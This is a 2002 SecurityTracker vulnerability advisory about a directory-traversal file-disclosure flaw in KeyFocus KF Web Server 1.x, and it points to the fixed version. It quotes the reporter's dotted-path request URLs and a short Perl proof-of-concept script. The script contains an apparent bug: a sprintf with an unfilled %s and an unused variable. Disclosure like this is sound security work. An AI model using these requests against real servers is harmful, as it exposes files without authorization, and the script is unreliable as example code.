KeyFocus KF Web Server Discloses Files on the System to Remote Users
|
|
SecurityTracker Alert ID: 1005620 |
|
SecurityTracker URL: http://securitytracker.com/id/1005620
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Nov 13 2002
|
Impact:
Disclosure of system information, Disclosure of user information
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
Version(s): 1.x
|
Description:
An input validation vulnerability was reported in the KF Web Server. A remote user can view certain files on the system that are located outside of the web document directory.
It is reported that KF Web Server does not properly handle URL requests that contain consecutive dot characters ('.') in the file name. The following URLs can be requested to obtain the contents of various directories:
http://kfws/... - Yields the contents of the KF Web Server install directory
http://kfws/.... - Yields the contents of the Program Files directory
http://kfws/..... - Yields the contents of the root directory
According to the report, only files with recognized MIME types can be viewed using this exploit method.
A demonstration exploit script is provided in the Source Message.
|
Impact:
A remote user can view certain types of files on the system located in certain directories (that are outside of the web document directory).
|
Solution:
The vendor has released a fixed version (2.0.0 Beta), available at:
http://www.keyfocus.net/kfws/download/beta.php
|
Vendor URL: www.keyfocus.net/kfws/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Windows (Me), Windows (98), Windows (2000), Windows (XP)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Wed, 13 Nov 2002 17:06:24 -0500
Subject: [VulnWatch] KeyFocus KF Web Server File Disclosure Vulnerability
|
KeyFocus Web server is a Win32 HTTP server with web administration, a
variety of logging formats, such as NCSA and W3C, CGI, compression, memory
caching of static documents, directory indexing, pre-defined MIME settings,
internal authentication with support for multiple realms, and a variety of
URL checks that make it more secure against hacking attempts such as buffer
overruns.
KFWS 1.x contains a flaw that enables attackers to traverse above the
webroot in the directory structure. This is not a traditional directory
traversal attack. KFWS does not properly handle consecutive dot characters
in the file name:
http://kfws/. - Current Directory
http://kfws/.. - 403 Forbidden
http://kfws/... - KFWS install dir (OOPS!)
http://kfws/.... - Program Files
http://kfws/..... - \
This vulnerability is limited by the internal hack defenses of the server
-- only files with recognized MIME types can be retreived. This
significantly limits the damage from this vulnerability.
KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable
version will eliminate the flaw as well. Administrators who are concerned
about this flaw should upgrade to the beta.
I've included a Perl script to demonstrate this vulnerability:
#!/usr/bin/perl
use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp");
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");
print $f $exploit;
undef $f;
}
--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .
|
|
